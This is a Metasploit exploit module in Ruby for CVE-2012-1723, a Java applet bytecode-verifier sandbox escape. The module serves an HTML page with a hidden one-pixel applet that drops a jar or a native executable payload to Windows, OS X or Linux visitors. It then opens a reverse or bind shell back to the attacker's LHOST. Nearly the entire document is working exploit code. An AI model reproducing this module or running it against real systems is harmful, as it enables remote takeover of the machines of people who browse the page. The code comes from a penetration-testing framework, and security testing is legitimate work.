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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Remote::BrowserAutopwn
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  autopwn_info({ javascript: false })
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
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        'Description' => %q{
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          This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
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          optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
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          type checks. This allows a way to escape the JRE sandbox, and load additional classes
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          in order to perform malicious operations.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Stefan Cornelius', # Discoverer
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          'mihi',                  # Vuln analysis
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          'littlelightlittlefire', # metasploit module
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          'juan vazquez',          # merged code (overlapped)
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          'sinn3r'                 # merged code (overlapped)
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        ],
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        'References' => [
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          ['CVE', '2012-1723'],
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          ['OSVDB', '82877'],
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          ['BID', '52161'],
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          ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
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          ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
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          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
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          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
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          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
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        ],
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        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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        'Targets' => [
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          [
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            'Generic (Java Payload)',
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            {
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              'Platform' => ['java'],
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              'Arch' => ARCH_JAVA
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            }
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          ],
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          [
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            'Windows x86 (Native Payload)',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86
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            }
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          ],
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          [
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            'Mac OS X PPC (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_PPC
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            }
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          ],
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          [
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            'Mac OS X x86 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86
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            }
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          ],
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          [
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            'Linux x86 (Native Payload)',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-06-06',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    # load the static jar file
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    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-1723.jar')
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    fd = File.open(path, 'rb')
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    @jar_data = fd.read(fd.stat.size)
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    fd.close
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    super
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  end
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  def on_request_uri(cli, request)
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    data = ''
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    host = ''
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    port = ''
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    if !request.uri.match(/\.jar$/i)
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      if !request.uri.match(%r{/$})
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        send_redirect(cli, get_resource + '/', '')
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        return
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      end
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      print_status("Sending #{name}")
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      payload = regenerate_payload(cli)
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      if !payload
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        print_error('Failed to generate the payload.')
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        return
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      end
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      if target.name == 'Generic (Java Payload)'
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        if datastore['LHOST']
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          jar = payload.encoded
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          host = datastore['LHOST']
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          port = datastore['LPORT']
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          vprint_status('Sending java reverse shell')
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        else
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          port = datastore['LPORT']
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          host = cli.peerhost
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          vprint_status('Java bind shell')
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        end
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        if jar
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          print_status("Generated jar to drop (#{jar.length} bytes).")
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          jar = Rex::Text.to_hex(jar, '')
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        else
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          print_error('Failed to generate the executable.')
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          return
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        end
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      else
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        # NOTE: The EXE mixin automagically handles detection of arch/platform
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        data = generate_payload_exe
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        print_status("Generated executable to drop (#{data.length} bytes).")
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        data = Rex::Text.to_hex(data, '')
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      end
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      send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })
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      return
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    end
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    print_status('Sending jar')
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    send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })
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    handler(cli)
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  end
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  def generate_html(data, jar, host, _port)
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    jar_name = rand_text_alpha(rand(3..8)) + '.jar'
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    html = '<html><head></head>'
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    html += '<body>'
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    html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
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    html += "<param name=\"data\" value=\"#{data}\"/>" if data
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    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
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    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
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    html += '</applet></body></html>'
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    return html
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  end
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  def generate_jar
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    @jar_data
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  end
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end
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